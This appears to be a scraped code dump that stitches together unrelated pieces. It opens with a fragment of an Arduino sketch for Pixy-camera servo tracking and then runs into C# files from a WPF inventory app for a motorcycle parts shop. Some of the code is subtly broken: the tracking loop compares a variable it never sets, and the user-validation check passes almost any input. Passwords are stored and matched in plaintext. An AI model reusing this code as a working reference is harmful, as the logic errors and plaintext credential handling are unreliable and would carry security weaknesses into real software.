int yHighCenterLimit = 160;
int servoJumpDelay = 20;
//X and Y of the largest mass.
int OOIX1; //Object of Interest X1
int OOIY1; //Object of Interest Y1
int OOIX2; //Object of Interest X1
int OOIY2; //Object of Interest Y1
//For calculating servo positions.
int RightMargin; int LeftMargin; int BottomMargin; int TopMargin;
void setup() {
//Begin Serial.
Serial.begin(9600);
//Attach servos
pixyServoX.attach(6); //Tilt (Y)
pixyServoY.attach(5); //Pan (X)
pixyServoX.write(servoPosX);
pixyServoY.write(servoPosY);
//Delay to prepare the Pixy.
delay(2000);
}
void loop() {
//Get the first set of data from the Pixy.
pixy.getBlocks();
//Serial.println("Got blocks!");
//Run through the first 40 indexes
for(int i = 0; i < 40; i++){
//Or until the widith of objects is unreasonable (garabage data).
if(pixy.blocks[i].width < 999){
//Rough estimate of the OOI's mass.
printPixy = pixy.blocks[i].height + pixy.blocks[i].width;
//Compare the mass to the last largest mass found.
if(pHeightPlusWidth > pHeightPlusWidthMax){
//If this is the new largest mass, load it into the Max variable.
pHeightPlusWidthMax = pixy.blocks[i].height + pixy.blocks[i].width;
//Also, load the largest mass' index number.
pMaxIXY = i;
}
}
}
/*
//Print the OOI info.
Serial.print(pixy.blocks[pMaxIXY].x);
Serial.print(" X, ");
Serial.print(pixy.blocks[pMaxIXY].y);
Serial.println(" Y ");
*/
//Load the largest mass X and Y into the object of interest variables.
OOIX1 = pixy.blocks[pMaxIXY].x;
OOIY1 = pixy.blocks[pMaxIXY].y;
//Open the servo write function.
ServoWrite();
//Set the largest mass index back to 0.
pMaxIXY=0;
}
void ServoWrite(){
RightMargin = 320 - (OOIX1 + (pixy.blocks[pMaxIXY].width/2)); //This assumes the Pixy has a field of view 320 pixels wide.
LeftMargin = OOIX1; //Object of interest's X is the same as the left margin marker.
BottomMargin = 240 - (OOIY1 + (pixy.blocks[pMaxIXY].height/2)); //This assumes the Pixy has a field of view 240 pixels high.
TopMargin = OOIY1; //The object of interest's Y is the same as the top margin marker.
//First, let's check to see if the OOI is centered enough.
if (OOIX1 > xLowCenterLimit && OOIX1 < xHighCenterLimit){
delay(servoJumpDelay);
}
else { //It's not centered, let's move servos and center it.
//First, see which is greater left or right margin.
if(RightMargin >= LeftMargin){
if(servoPosX < PanHighLimit){
int moveX;
moveX = RightMargin;
moveX = map(moveX, 0, RightMargin, 0, servoMaxJumpX);
servoPosX = servoPosX + moveX;
pixyServoX.write(servoPosX);
delay(servoJumpDelay);
}
}
else{
//Left Margin was greater, so lets move stage-right.
if(servoPosX > PanLowLimit){
//Right Margin was greater, so lets move stage-left.
int moveX;
moveX = LeftMargin;
moveX = map(moveX, 0, LeftMargin, 0, servoMaxJumpX);
servoPosX = servoPosX - moveX;
pixyServoX.write(servoPosX);
delay(servoJumpDelay);
}
}
}
//First, let's check to see if the OOI is centered enough.
if (OOIY1 > yLowCenterLimit && OOIY1 < yHighCenterLimit){
delay(servoJumpDelay);
}
else { //It's not centered, let's move servos and center it.
//First, see which is greater bottom or top margin.
if(BottomMargin >= TopMargin){
if(servoPosY > TiltLowLimit){
int moveY;
moveY = BottomMargin;
moveY = map(moveY, 0, BottomMargin, 0, servoMaxJumpY);
servoPosY = servoPosY - moveY;
pixyServoY.write(servoPosY);
delay(servoJumpDelay);
}
}
else{
//Top Margin was greater, so lets move stage-up.
if(servoPosY < TiltHighLimit){
//Topt Margin was greater, so lets move stage-up.
int moveY;
moveY = TopMargin;
moveY = map(moveY, 0, TopMargin, 0, servoMaxJumpY);
servoPosY = servoPosY + moveY;
pixyServoY.write(servoPosY);
delay(servoJumpDelay);
}
}
}
} //End ServoWrite()
| 4c52429ae3202d1e64d9dc4ede74e53d142e6cd0 | [
"Markdown",
"C++"
] | 2 | Markdown | Ladvien/Pixy | 50b12226a0fc08a3e3eaf78f66b806dd17e522a9 | 2c0cfdfd1242fc258cf13cbf94572ef003dcadc0 |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Data.Entity;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using TecnoMoto.Common;
using TecnoMoto.Models;
using TecnoMoto.Services;
namespace TecnoMoto.ViewModels
{
public class DetailBuyViewModel : ObservableObject
{
#region Properties
public ObservableCollection<product> listProduct { get; set; }
public ObservableCollection<users> listUserProv { get; set; }
public ObservableCollection<detail_buy> listDetailBuy { get; set; }
private detail_buy _detailBuy;
public detail_buy detailBuyModel
{
get { return _detailBuy; }
set
{
_detailBuy = value;
OnPropertyChanged();
}
}
private long _cant;
public long cant
{
get { return _cant; }
set
{
_cant = value;
OnPropertyChanged();
}
}
private long _Total;
public long total
{
get { return _Total; }
set
{
_Total = value;
OnPropertyChanged();
}
}
private users _User;
public users userModel
{
get { return _User; }
set
{
_User = value;
OnPropertyChanged();
}
}
private buy _Buy;
public buy buyModel
{
get { return _Buy; }
set
{
_Buy = value;
OnPropertyChanged();
}
}
#endregion
public DetailBuyViewModel(long? idBuy)
{
if (idBuy.Value != 0)
{
listUserProv = listProvider(idBuy.Value);
userModel = listUserProv.First();
buyModel = getBuy(idBuy.Value);
listDetailBuy = listDetBuy(idBuy.Value);
totalValue();
}
else
{
listUserProv = listProvider();
userModel = new users();
buyModel = new buy();
listDetailBuy = new ObservableCollection<detail_buy>();
}
listProduct = listProd();
}
#region NewBuy
public ObservableCollection<users> listProvider()
{
try
{
using (Db_TecnoMotos db = new Db_TecnoMotos())
{
List<users> listUser = new List<users>();
listUser.Add(new users()
{
ID_TYPE_USER = 0,
USERNAME = Constantes.SELECCIONE
});
listUser.AddRange(db.users.Where(x => x.ID_TYPE_USER == Constantes.TipoUsuario.PROVEEDOR).ToList());
return new ObservableCollection<users>(listUser);
}
}
catch (Exception)
{
throw;
}
}
public ObservableCollection<detail_buy> listDetBuy(long idBuy)
{
try
{
using (Db_TecnoMotos db = new Db_TecnoMotos())
{
var detail = db.detail_buy
.Include("product")
.Where(x => x.ID_BUY == idBuy).ToList();
return new ObservableCollection<detail_buy>(detail);
}
}
catch (Exception)
{
throw;
}
}
public async Task addProduct(long? idBuy, product p, users u, long cant)
{
using (Db_TecnoMotos db = new Db_TecnoMotos())
{
using (var tran = db.Database.BeginTransaction())
{
try
{
buyModel = db.buy.Find(idBuy.Value);
if (buyModel == null)
{
buyModel = new buy()
{
COMPLETE = false,
DATE_REGISTER = DateTime.Now,
ID_USER = u.ID_USER
};
db.buy.Add(buyModel);
await db.SaveChangesAsync();
}
var detail = new detail_buy()
{
ID_PRODUCT = p.ID_PRODUCT,
ID_BUY = buyModel.ID_BUY,
CANT = cant,
VALUE = p.VALUE_PRODUCT_BUY
};
listDetailBuy.Add(detail);
db.detail_buy.Add(detail);
var prod = db.products.Find(p.ID_PRODUCT);
prod.CANT_PRODUCT = p.CANT_PRODUCT + cant;
//p.CANT_PRODUCT = p.CANT_PRODUCT + cant;
db.Entry(prod).State = EntityState.Modified;
await db.SaveChangesAsync();
tran.Commit();
totalValue();
updateListP(p, cant);
}
catch (Exception)
{
tran.Rollback();
throw;
}
}
//return await Task.FromResult( new detail_buy());
}
}
public void totalValue()
{
try
{
cant = 0;
total = 0;
foreach (var item in listDetailBuy)
{
cant += item.CANT.Value;
total += (item.CANT.Value * item.product.VALUE_PRODUCT_BUY);
}
}
catch (Exception)
{
throw;
}
}
public void updateListP(product p, long cant)
{
try
{
var pro = listProduct.Where(X => X.ID_PRODUCT == p.ID_PRODUCT).First();
listProduct.Remove(pro);
pro.CANT_PRODUCT += cant;
listProduct.Insert(listProduct.Count, p);
}
catch (Exception)
{
throw;
}
}
public buy getBuy(long idBuy)
{
try
{
using (Db_TecnoMotos db = new Db_TecnoMotos())
return db.buy.Find(idBuy);
}
catch (Exception)
{
throw;
}
}
public ObservableCollection<product> listProd()
{
try
{
using (Db_TecnoMotos db = new Db_TecnoMotos())
{
return new ObservableCollection<product>(db.products.Where(x => x.ACTIVE).ToList());
}
}
catch (Exception)
{
throw;
}
}
#endregion
#region DetailBuy
public ObservableCollection<users> listProvider(long idBuy)
{
try
{
using (Db_TecnoMotos db = new Db_TecnoMotos())
return new ObservableCollection<users>(db.buy.Include("users").Where(x => x.ID_BUY == idBuy).Select(x => x.users).ToList());
}
catch (Exception)
{
throw;
}
}
#endregion
}
}
<file_sep>using MahApps.Metro.Controls;
using MahApps.Metro.Controls.Dialogs;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Shapes;
using TecnoMoto.Common;
using TecnoMoto.Models;
using TecnoMoto.ViewModels;
namespace TecnoMoto.Views
{
/// <summary>
/// Lógica de interacción para UserView.xaml
/// </summary>
public partial class UserView : MetroWindow
{
#region MyRegion
public UserViewModel MyContext { get; set; }
#endregion
public UserView()
{
InitializeComponent();
MyContext = new UserViewModel();
this.DataContext = MyContext;
}
private void listModel1_MouseDoubleClick(object sender, MouseButtonEventArgs e)
{
try
{
if (sender != null)
{
DataGrid grid = sender as DataGrid;
if (grid != null && grid.SelectedItems != null && grid.SelectedItems.Count == 1)
{
DataGridRow dgr = grid.ItemContainerGenerator.ContainerFromItem(grid.SelectedItem) as DataGridRow;
var user = dgr.DataContext as users;
MyContext.userModel = dgr.DataContext as users;
splitBtnTUser.SelectedIndex = ((int)user.type_user.ID_TYPE_USER - 1);
txtPass1.Password = <PASSWORD>;
txtPass.Password = <PASSWORD>;
}
}
}
catch (Exception)
{
throw;
}
}
private async void btnSave_Click(object sender, RoutedEventArgs e)
{
try
{
if (txtPass1.Password == txtPass.Password)
{
var typeUser = splitBtnTUser.SelectedItem as type_user;
bool isValid;
if (await MyContext.IsValid(MyContext.userModel, typeUser, txtPass.Password, txtPass1.Password))
{
MyContext.userModel.PASS = <PASSWORD>;
if (MyContext.userModel.ID_USER != 0)
isValid = await MyContext.UpdateUserAsync(MyContext.userModel, typeUser);
else
isValid = await MyContext.SaveUserAsync(MyContext.userModel, typeUser);
if (isValid)
{
txtPass.Clear();
txtPass1.Clear();
await this.ShowMessageAsync(Constantes.EXITO, Constantes.INSERCCION_EXITOSA, MessageDialogStyle.Affirmative);
}
else
await this.ShowMessageAsync(Constantes.ERROR, Constantes.VERIFICAR_DATOS);
}
else
await this.ShowMessageAsync(Constantes.ERROR, Constantes.VERIFICAR_DATOS);
}
else
await this.ShowMessageAsync(Constantes.ERROR, Constantes.CONTRASENA_INCORRECTA);
}
catch (Exception)
{
throw;
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Data.Entity;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Controls;
using System.Windows.Input;
using TecnoMoto.Models;
using TecnoMoto.Services;
namespace TecnoMoto.ViewModels
{
public class UserViewModel : ObservableObject
{
#region Properties
private bool canExecute = true;
public ICommand RefreshCommand { get; set; }
//public users userModel { get; set; }
public bool CanExecute
{
get
{
return this.canExecute;
}
set
{
if (this.canExecute == value)
{
return;
}
this.canExecute = value;
}
}
public ObservableCollection<users> listUsers { get; set; }
public ObservableCollection<type_user> listTypeUser { get; set; }
private users _userModel;
public users userModel
{
get { return _userModel; }
set
{
_userModel = value;
OnPropertyChanged();
}
}
#endregion
public UserViewModel()
{
userModel = new users();
RefreshCommand = new RelayCommand(SaveClient, param => this.CanExecute);
listUsers = ListUsers();
listTypeUser = ListTUsers();
}
#region Methods
private void SaveClient(object obj)
{
try
{
var passwordBox = obj as PasswordBox;
var password = <PASSWORD>Box.<PASSWORD>;
using (Db_TecnoMotos db = new Db_TecnoMotos())
{
var user = db.users.Where(X => X.PASS == password && X.USERS == userModel.USERS).FirstOrDefault();
if (user != null)
{
//return await Task.FromResult(true);
}
else
{
}
//return await Task.FromResult(true);
//await db.SaveChangesAsync();
//listModel.Add(clientModel);
}
}
catch (System.Exception)
{
throw;
}
}
public async Task<bool> isExist(string us, string pass)
{
try
{
using (Db_TecnoMotos db = new Db_TecnoMotos())
{
var user = db.users.Where(X => X.USERS.ToUpper() == us.ToUpper() && X.PASS == pass).FirstOrDefault();
if (user != null)
return await Task.FromResult(true);
else
return await Task.FromResult(false);
}
}
catch (Exception)
{
throw;
}
}
public ObservableCollection<users> ListUsers()
{
using (Db_TecnoMotos db = new Db_TecnoMotos())
{
try
{
return new ObservableCollection<users>(db.users.Include(J => J.type_user).ToList());
}
catch (Exception)
{
throw;
}
}
}
public ObservableCollection<type_user> ListTUsers()
{
using (Db_TecnoMotos db = new Db_TecnoMotos())
{
try
{
return new ObservableCollection<type_user>(db.type_user.ToList());
}
catch (Exception)
{
throw;
}
}
}
public async Task<bool> SaveUserAsync(users u, type_user tu)
{
using (Db_TecnoMotos db = new Db_TecnoMotos())
{
using (var tran = db.Database.BeginTransaction())
{
try
{
u.ID_TYPE_USER = tu.ID_TYPE_USER;
db.users.Add(u);
await db.SaveChangesAsync();
tran.Commit();
u.type_user = tu;
listUsers.Add(u);
userModel = new users();
return await Task.FromResult(true);
}
catch (Exception)
{
tran.Rollback();
throw;
}
}
}
}
public async Task<bool> UpdateUserAsync(users us, type_user tu)
{
try
{
using (Db_TecnoMotos db = new Db_TecnoMotos())
{
us.ID_TYPE_USER = tu.ID_TYPE_USER;
us.type_user = tu;
db.Entry(us).State = EntityState.Modified;
await db.SaveChangesAsync();
//var asd = db.users.Find(us.ID_USER);
//asd.
//us.type_user = tu;
var pro = listUsers.Where(X => X.ID_USER == us.ID_USER).First();
listUsers.Remove(pro);
listUsers.Insert(listUsers.Count, us);
pro = us;
userModel = new users();
return true;
}
}
catch (Exception)
{
return false;
throw;
}
}
public async Task<bool> IsValid(users us , type_user tu, string pass, string pass1)
{
try
{
if (pass.Equals(pass1)
|| !(string.IsNullOrEmpty(us.PHONE)
|| string.IsNullOrEmpty(us.USERNAME)
|| string.IsNullOrEmpty(us.USERS)
|| us.ID_TYPE_USER == 0)
|| tu != null)
return await Task.FromResult(true);
else
return await Task.FromResult(false);
}
catch (Exception)
{
throw;
}
}
#endregion
}
}
<file_sep>using MahApps.Metro.Controls;
using MahApps.Metro.Controls.Dialogs;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Shapes;
using TecnoMoto.Common;
using TecnoMoto.Models;
using TecnoMoto.ViewModels;
namespace TecnoMoto.Views
{
/// <summary>
/// Lógica de interacción para BuyView.xaml
/// </summary>
public partial class BuyView : MetroWindow
{
#region MyRegion
public BuyViewModel MyContext { get; set; }
#endregion
public BuyView()
{
InitializeComponent();
MyContext = new BuyViewModel();
this.DataContext = MyContext;
}
private void btnSearch_Click(object sender, RoutedEventArgs e)
{
flyProd.IsOpen = true;
}
private void btnNewBuy_Click(object sender, RoutedEventArgs e)
{
Views.DetailBuyView _detailBuy = new DetailBuyView(0);
this.Close();
_detailBuy.ShowDialog();
}
private void btnGoDetailBuy_Click(object sender, RoutedEventArgs e)
{
try
{
if (sender != null)
{
object ID = ((Button)sender).CommandParameter;
if (ID != null)
{
Views.DetailBuyView _detailBuy = new DetailBuyView(long.Parse(ID.ToString()));
this.Close();
_detailBuy.ShowDialog();
}
}
}
catch (Exception)
{
throw;
}
}
}
}
<file_sep>namespace TecnoMoto.Models
{
using System;
using System.Data.Entity;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
public partial class Db_TecnoMotos : DbContext
{
public Db_TecnoMotos()
: base("name=Db_TecnoMotos")
{
}
public virtual DbSet<bill> bills { get; set; }
//public virtual DbSet<client> clients { get; set; }
public virtual DbSet<detail_bill> detail_bill { get; set; }
public virtual DbSet<type_user> type_user { get; set; }
public virtual DbSet<product> products { get; set; }
public virtual DbSet<type_product> type_product { get; set; }
public virtual DbSet<users> users { get; set; }
public virtual DbSet<buy> buy { get; set; }
public virtual DbSet<detail_buy> detail_buy { get; set; }
protected override void OnModelCreating(DbModelBuilder modelBuilder)
{
modelBuilder.Entity<type_user>()
.Property(e => e.TYPE_USER)
.IsUnicode(false);
modelBuilder.Entity<product>()
.Property(e => e.NAME_PRODUCT)
.IsUnicode(false);
modelBuilder.Entity<product>()
.Property(e => e.ACTIVE);
//modelBuilder.Entity<provider>()
// .Property(e => e.NAME_PROVIDER)
// .IsUnicode(false);
//modelBuilder.Entity<provider>()
// .Property(e => e.ACTIVE);
modelBuilder.Entity<type_product>()
.Property(e => e.NAME_TYPE_PRODUCT)
.IsUnicode(false);
modelBuilder.Entity<type_product>()
.Property(e => e.ACTIVE);
modelBuilder.Entity<users>()
.Property(e => e.USERNAME)
.IsUnicode(false);
modelBuilder.Entity<users>()
.Property(e => e.PASS)
.IsUnicode(false);
modelBuilder.Entity<users>()
.Property(e => e.USERS)
.IsUnicode(false);
//modelBuilder.Entity<users>()
// .Property(e => e.CHARGE)
// .IsUnicode(false);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TecnoMoto.Common
{
public class Constantes
{
public const string INSERCCION_EXITOSA = "Insercción exitosa";
public const string EXITO = "Exito";
public const string ERROR = "Error !";
public const string VERIFICAR_DATOS = "Verifica tus datos";
public const string CAMPOS_VACIOS = "Campos vacios";
public const string DATOS_CORRECTOS = "Tus datos son correctos";
public const string CONTRASENA_INCORRECTA = "Contraseña Incorrecta";
public const string SELECCIONE = "-- Seleccione --";
public const string FALTA_PRESTADOR = "Por favor ingrese el proveedor para poder hacer la compra";
public class TipoUsuario
{
public const long USUARIO = 1;
public const long CLIENTE = 2;
public const long PROVEEDOR = 3;
}
}
//public enum TipoUsuario
//{
// USUARIO = 1,
// CLIENTE,
// PROVEEDOR
//}
/*
INSERT INTO dbo.type_user VALUES('Usuario', GETDATE());
INSERT INTO dbo.type_user VALUES('Cliente', GETDATE());
INSERT INTO dbo.type_user VALUES('Proveedor', GETDATE());
INSERT INTO dbo.users VALUES ('<NAME>', '123', 'jpospina', '1651','65351', 1, 1);
INSERT INTO dbo.type_product VALUES('aceite', 1);
INSERT INTO dbo.type_product VALUES('tornillos', 1);
INSERT INTO dbo.type_product VALUES('Bateria', 1);
INSERT INTO dbo.type_product VALUES('Calcomanias', 1);
INSERT INTO dbo.type_product VALUES('llantas', 1);
INSERT INTO dbo.type_product VALUES('Arandelas', 1);
INSERT INTO dbo.type_product VALUES('Kit de arrastre', 1);
INSERT INTO dbo.product VALUES('Emblema "PULSAR" Izquierdo','JL233003',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Emblema "PULSAR" Derecho','JL233004',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Emblema "PULSAR" Izq. y Der.','JL233239',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calcomanía Carenaje Izq.','20005513',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calcomanía Carenaje Der.','20005514',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calc. Guardabarro Del. Izq.','20005511',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calc. Guardabarro Del. Der.','20005512',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Protector Tanque','20005532',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calc. Cubierta Tanque Sup. Izq.','20005523',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calc. Cubierta Tanque Sup. Izq.','20005524',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calc. Enfocador Sup. Izq.','20005515',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calc. Enfocador Sup. Der.','20005516',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calc. Enfocador Central Izq.','20005517',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calc. Enfocador Central Der.','20005518',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calc. Enfocador Inf. Izq.','20005519',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calc. Enfocador Inf. Der.','20005520',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calc. Cubierta Tanque Inf. Izq.','20005521',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calc. Cubierta Tanque Inf. Der.','20005522',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calc. Tapa Lateral Izq.','20005525',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calc. Tapa Lateral Der.','20005526',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calc. Cubierta Sillín Del. Izq.','20005527',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calc. Cubierta Sillín Del. Der.','20005528',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calc. Cubierta Sillín Tras. Izq.','20005529',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calc. Cubierta Sillín Tras. Der.','20005530',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Calcomanía Rin','20005531',1,4,18250,20000,8,3,8);
INSERT INTO dbo.product VALUES('Llanta 4.00x8','26130930',1,5,18250,120000,8,3,8);
INSERT INTO dbo.product VALUES('Batería 12V 32 AH','MF-NS40-AUTECO',1,3,18250,80000,8,3,8);
*/
}
<file_sep>using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Data.Entity;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using TecnoMoto.Common;
using TecnoMoto.Models;
using TecnoMoto.Services;
namespace TecnoMoto.ViewModels
{
public class ProductViewModel : ObservableObject
{
#region MyRegion
private product _ProductModel;
public product productModel
{
get { return _ProductModel; }
set
{
_ProductModel = value;
OnPropertyChanged();
}
}
public ObservableCollection<type_product> listTypeProduct { get; set; }
public ObservableCollection<product> listProduct { get; set; }
#endregion
public ProductViewModel()
{
productModel = new product();
listTypeProduct = ListTypeProd();
listProduct = FindProduct();
}
public ObservableCollection<type_product> ListTypeProd()
{
try
{
using (Db_TecnoMotos db = new Db_TecnoMotos())
{
List<type_product> listType = new List<type_product>();
listType.Add(new type_product
{
ID_TYPE_PRODUCT = 0,
NAME_TYPE_PRODUCT = Constantes.SELECCIONE
});
listType.AddRange(db.type_product.ToList());
return new ObservableCollection<type_product>(listType);
}
}
catch (Exception)
{
throw;
}
}
public bool SaveTypeProdAsync(string name)
{
type_product tp = new type_product();
try
{
using (Db_TecnoMotos db = new Db_TecnoMotos())
{
tp = new type_product()
{
ACTIVE = true,
NAME_TYPE_PRODUCT = name
};
db.type_product.Add(tp);
db.SaveChanges();
listTypeProduct = ListTypeProd();
return true;
}
}
catch (Exception)
{
throw;
}
}
public async Task<bool> SaveProd (product p , type_product tp)
{
try
{
using (Db_TecnoMotos db = new Db_TecnoMotos())
{
p.ID_TYPE_PRODUCT = tp.ID_TYPE_PRODUCT;
p.ACTIVE = true;
db.products.Add(p);
await db.SaveChangesAsync();
p.type_product = tp;
listProduct.Add(p);
productModel = new product();
return await Task.FromResult(true);
}
}
catch (Exception)
{
return await Task.FromResult(false);
throw;
}
}
public async Task<bool> UpdateProductAsync(product p, type_product tp)
{
try
{
using (Db_TecnoMotos db = new Db_TecnoMotos())
{
p.ID_TYPE_PRODUCT = tp.ID_TYPE_PRODUCT;
p.type_product = tp;
db.Entry(p).State = EntityState.Modified;
await db.SaveChangesAsync();
var pro = listProduct.Where(X => X.ID_PRODUCT == p.ID_PRODUCT).First();
listProduct.Remove(pro);
listProduct.Insert(listProduct.Count, p);
pro = p;
productModel = new product();
return await Task.FromResult(true);
}
}
catch (Exception)
{
return await Task.FromResult(false);
throw;
}
}
public ObservableCollection<product> FindProduct()
{
try
{
using (Db_TecnoMotos db = new Db_TecnoMotos())
return new ObservableCollection<product>(db.products.Include("type_product").ToList());
}
catch (Exception)
{
throw;
}
}
}
}
<file_sep>using MahApps.Metro.Controls;
using MahApps.Metro.Controls.Dialogs;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using TecnoMoto.Common;
using TecnoMoto.ViewModels;
namespace TecnoMoto
{
/// <summary>
/// Lógica de interacción para MainWindow.xaml
/// </summary>
public partial class MainWindow : MetroWindow
{
public UserViewModel MyContext { get; set; }
public MainWindow()
{
InitializeComponent();
MyContext = new UserViewModel();
this.DataContext = MyContext;
}
private async void btnIngresar_Click(object sender, RoutedEventArgs e)
{
try
{
Wait.IsActive = true;
UserViewModel userVM = new UserViewModel();
string us = txtUsuario.Text;
string pass = <PASSWORD>;
if (string.IsNullOrEmpty(us) && string.IsNullOrEmpty(pass))
{
Wait.IsActive = false;
await this.ShowMessageAsync(Constantes.ERROR, Constantes.CAMPOS_VACIOS);
}
else
{
if (await userVM.isExist(us, pass))
{
Wait.IsActive = false;
await this.ShowMessageAsync(Constantes.EXITO, Constantes.DATOS_CORRECTOS, MessageDialogStyle.Affirmative);
Views.HomeWindow _ver = new Views.HomeWindow();
this.Close();
_ver.ShowDialog();
}
else
{
Wait.IsActive = false;
txtPassword.Clear();
txtUsuario.Clear();
await this.ShowMessageAsync(Constantes.ERROR, Constantes.VERIFICAR_DATOS);
}
}
}
catch (Exception ex)
{
await this.ShowMessageAsync(Constantes.ERROR, ex.Message);
throw;
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using TecnoMoto.Common;
using TecnoMoto.Models;
using TecnoMoto.Services;
namespace TecnoMoto.ViewModels
{
public class BuyViewModel : ObservableObject
{
#region MyRegion
private buy _Buy;
public buy buyModel
{
get { return _Buy; }
set
{
_Buy = value;
OnPropertyChanged();
}
}
//TypeProductViewModel tpVM = new TypeProductViewModel();
public ObservableCollection<buy> listBuy { get; set; }
//public ObservableCollection<product> listProduct { get; set; }
#endregion
public BuyViewModel()
{
buyModel = new buy();
listBuy = FindBuy();
//listTypeProduct = tpVM.ListTypeProd();
//listProduct = FindProduct();
}
public ObservableCollection<buy> FindBuy()
{
try
{
using (Db_TecnoMotos db = new Db_TecnoMotos())
return new ObservableCollection<buy>(db.buy.Include("users.type_user").ToList());
}
catch (Exception)
{
throw;
}
}
}
}
<file_sep>namespace TecnoMoto.Models
{
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Data.Entity.Spatial;
[Table("product")]
public partial class product
{
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Usage", "CA2214:DoNotCallOverridableMethodsInConstructors")]
public product()
{
detail_bill = new HashSet<detail_bill>();
detail_buy = new HashSet<detail_buy>();
}
[Key]
[DatabaseGenerated(DatabaseGeneratedOption.Identity)]
public long ID_PRODUCT { get; set; }
[StringLength(255)]
public string NAME_PRODUCT { get; set; }
[StringLength(255)]
public string CODE_PRODUCT { get; set; }
public bool ACTIVE { get; set; }
public long ID_TYPE_PRODUCT { get; set; }
public long VALUE_PRODUCT_BUY { get; set; }
public long VALUE_PRODUCT_BILL { get; set; }
public long CANT_PRODUCT { get; set; }
public long MIN { get; set; }
public long MAX { get; set; }
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Usage", "CA2227:CollectionPropertiesShouldBeReadOnly")]
public virtual ICollection<detail_bill> detail_bill { get; set; }
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Usage", "CA2227:CollectionPropertiesShouldBeReadOnly")]
public virtual ICollection<detail_buy> detail_buy { get; set; }
public virtual type_product type_product { get; set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Data.Entity;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using TecnoMoto.Models;
using TecnoMoto.Services;
namespace TecnoMoto.ViewModels
{
public class ProviderViewModel : ObservableObject
{
//#region Properties
//public provider _providerModel;
//public provider providerModel
//{
// get { return _providerModel; }
// set
// {
// _providerModel = value;
// OnPropertyChanged();
// }
//}
//public ObservableCollection<provider> listProvider { get; set; }
//#endregion
//public ProviderViewModel()
//{
// providerModel = new provider();
// listProvider = ListProvi();
//}
//#region methods
//public ObservableCollection<provider> ListProvi()
//{
// using (Db_TecnoMotos db = new Db_TecnoMotos())
// {
// try
// {
// return new ObservableCollection<provider>(db.providers.ToList());
// }
// catch (Exception)
// {
// throw;
// }
// }
//}
//public async Task<bool> SaveProviderAsync(provider tp)
//{
// using (Db_TecnoMotos db = new Db_TecnoMotos())
// {
// using (var tran = db.Database.BeginTransaction())
// {
// try
// {
// db.providers.Add(tp);
// await db.SaveChangesAsync();
// tran.Commit();
// listProvider.Add(tp);
// providerModel = new provider();
// return await Task.FromResult(true);
// }
// catch (Exception)
// {
// tran.Rollback();
// throw;
// }
// }
// }
//}
//public async Task<bool> UpdateProviderAsync(provider prod)
//{
// try
// {
// using (Db_TecnoMotos db = new Db_TecnoMotos())
// {
// db.Entry(prod).State = EntityState.Modified;
// await db.SaveChangesAsync();
// var pro = listProvider.Where(X => X.ID_PROVIDER == prod.ID_PROVIDER).First();
// pro = prod;
// providerModel = new provider();
// return true;
// }
// }
// catch (Exception)
// {
// return false;
// throw;
// }
//}
//#endregion
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
